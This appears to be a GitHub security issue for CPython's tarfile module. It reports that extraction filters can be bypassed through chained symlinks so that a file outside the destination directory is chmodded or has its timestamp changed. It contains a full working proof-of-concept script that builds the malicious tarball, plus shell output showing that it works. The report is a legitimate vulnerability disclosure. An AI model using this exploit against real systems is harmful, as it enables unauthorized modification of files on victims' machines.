Open
Description
TarFile.extractall()
can be tricked into chmodding arbitrary file (outside of the destination directory) to 0755
, despite using filter='tar'
:
$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Dec 16 12:00 /tmp/tmp.uxCZC0Zs3F
$ python3 -m tarfile --filter=tar -e eggs.tar $(mktemp -d)
$ ls -l $target
-rwxr-xr-x 1 jwilk jwilk 0 Jan 1 1970 /tmp/tmp.uxCZC0Zs3F
filter='data'
is vulnerable too, although in that case the damage is limited to updating the file timestamp:
$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Dec 16 12:01 /tmp/tmp.WeCifOsQmp
$ python3.12 -m tarfile --filter=data -e eggs.tar $(mktemp -d)
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Jan 1 1970 /tmp/tmp.WeCifOsQmp
Here's the source for the defeatpep706
script:
#!/usr/bin/python3
import argparse
import os
import tarfile
ap = arparse = argparse.ArgumentParser()
ap.add_argument('tarpath', metavar='TARBALL')
ap.add_argument('target', metavar='TARGET')
opts = ap.parse_args()
target = os.path.abspath(opts.target)
with tarfile.open(opts.tarpath, 'w') as tar:
def addmemb(name, **kwargs):
memb = tarfile.TarInfo(name)
for k, v in kwargs.items():
getattr(memb, k)
setattr(memb, k, v)
tar.addfile(memb)
# lrw-r--r-- pwn -> .
addmemb('pwn', type=tarfile.SYMTYPE, linkname='.')
# "pwn" is a very innocent symlink.
# drwxrwxrwx pwn/
addmemb('pwn', type=tarfile.DIRTYPE, mode=0o777)
# But now "pwn" is also a directory, so it's scheduled to have its
# metadata updated later.
# lrw-r--r-- pwn -> x/x/x/x/⋯⋯⋯/x/../../../../⋯⋯⋯/../TARGET
addmemb('pwn', type=tarfile.SYMTYPE, linkname=('x/' * 99 + '../' * 99 + target))
# Oops, "pwn" is not so innocent any more.
# But technically it's still pointing inside the dest dir,
# so it doesn't upset the "data" filter.
# lrw-r--r-- x/x/x/x/⋯⋯⋯/x -> ../../../⋯⋯⋯/..
addmemb(('x/' * 99), type=tarfile.SYMTYPE, linkname=('../' * 98))
# The newly created symlink symlink points to the dest dir,
# so it's OK for the "data" filter.
# But now "pwn" points to the target (outside the dest dir).
Tested with Python 3.12.8.
Metadata
Metadata
Assignees
Labels
only security fixesonly security fixesonly security fixesonly security fixesonly security fixesonly security fixesbugs and security fixesbugs and security fixesbugs and security fixesbugs and security fixesonly security fixesonly security fixesPython modules in the Lib dirPython modules in the Lib dirAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or errorA security issueA security issue
Projects
Status
No status